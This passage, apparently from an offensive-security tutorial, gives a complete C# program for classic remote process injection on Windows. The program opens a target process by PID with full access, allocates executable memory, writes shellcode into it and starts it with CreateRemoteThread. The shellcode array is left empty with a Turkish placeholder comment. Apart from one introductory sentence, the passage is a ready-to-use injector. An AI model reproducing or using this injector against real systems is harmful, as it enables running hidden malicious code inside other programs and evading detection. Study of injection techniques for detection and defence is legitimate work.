The same style of injection can be used on other processes as well. An additional step is required where we must obtain a handle to the target process by its process ID (PID).

internal class ClassicRemoteInjection
 {
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr OpenProcess(
         uint dwDesiredAccess,
         bool bInheritHandle,
         int dwProcessId);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr VirtualAllocEx(
         IntPtr hProcess,
         IntPtr lpAddress,
         uint dwSize,
         uint flAllocationType,
         uint flProtect);
   [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool WriteProcessMemory(
         IntPtr hProcess,
         IntPtr lpBaseAddress,
         byte[] lpBuffer,
         uint nSize,
         out IntPtr lpNumberOfBytesWritten);
   [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr CreateRemoteThread(
         IntPtr hProcess,
         IntPtr lpThreadAttributes,
         uint dwStackSize,
         IntPtr lpStartAddress,
         IntPtr lpParameter,
         uint dwCreationFlags,
         out uint lpThreadId);
   [DllImport("kernel32.dll", SetLastError = true)]
     static extern uint WaitForSingleObject(
         IntPtr hHandle,
         uint dwMilliseconds);
   [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool CloseHandle(IntPtr hObject);
   const uint PROCESS_ALL_ACCESS = 0x1FFFFF;
     const uint MEM_COMMIT = 0x1000;
     const uint MEM_RESERVE = 0x2000;
     const uint PAGE_EXECUTE_READWRITE = 0x40;
     const uint INFINITE = 0xFFFFFFFF;
   static void Main(string[] args)
     {
         if (args.Length < 1)
         {
             Console.WriteLine("Usage: Program.exe <pid>");
             return;
         }
      byte[] shellcode = new byte[] { /* shellcode baytlarınız buraya */ };
      int pid = int.Parse(args[0]);
      IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
         if (hProcess == IntPtr.Zero)
         {
             Console.WriteLine($"OpenProcess unsuccessful. Error: {Marshal.GetLastWin32Error()}");
             return;
         }
        IntPtr hMemory = VirtualAllocEx(
             hProcess,
             IntPtr.Zero,
             (uint)shellcode.Length,
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE);
      if (hMemory == IntPtr.Zero)
         {
             Console.WriteLine($"VirtualAllocEx unsuccessful. Error: {Marshal.GetLastWin32Error()}");
             CloseHandle(hProcess);
             return;
         }
      if (!WriteProcessMemory(
             hProcess,
             hMemory,
             shellcode,
             (uint)shellcode.Length,
             out IntPtr bytesWritten))
         {
             Console.WriteLine($"WriteProcessMemory unsuccessful. Error: {Marshal.GetLastWin32Error()}");
             CloseHandle(hProcess);
             return;
         }
        uint threadId = 0;
         IntPtr hThread = CreateRemoteThread(
             hProcess,
             IntPtr.Zero,
             0,
             hMemory,
             IntPtr.Zero,
             0,
             out threadId);
  
       if (hThread == IntPtr.Zero)
         {
             Console.WriteLine($"CreateRemoteThread unsuccessful. Error: {Marshal.GetLastWin32Error()}");
             CloseHandle(hProcess);
             return;
         }
      WaitForSingleObject(hThread, INFINITE);
      CloseHandle(hThread);
         CloseHandle(hProcess);
     }
 }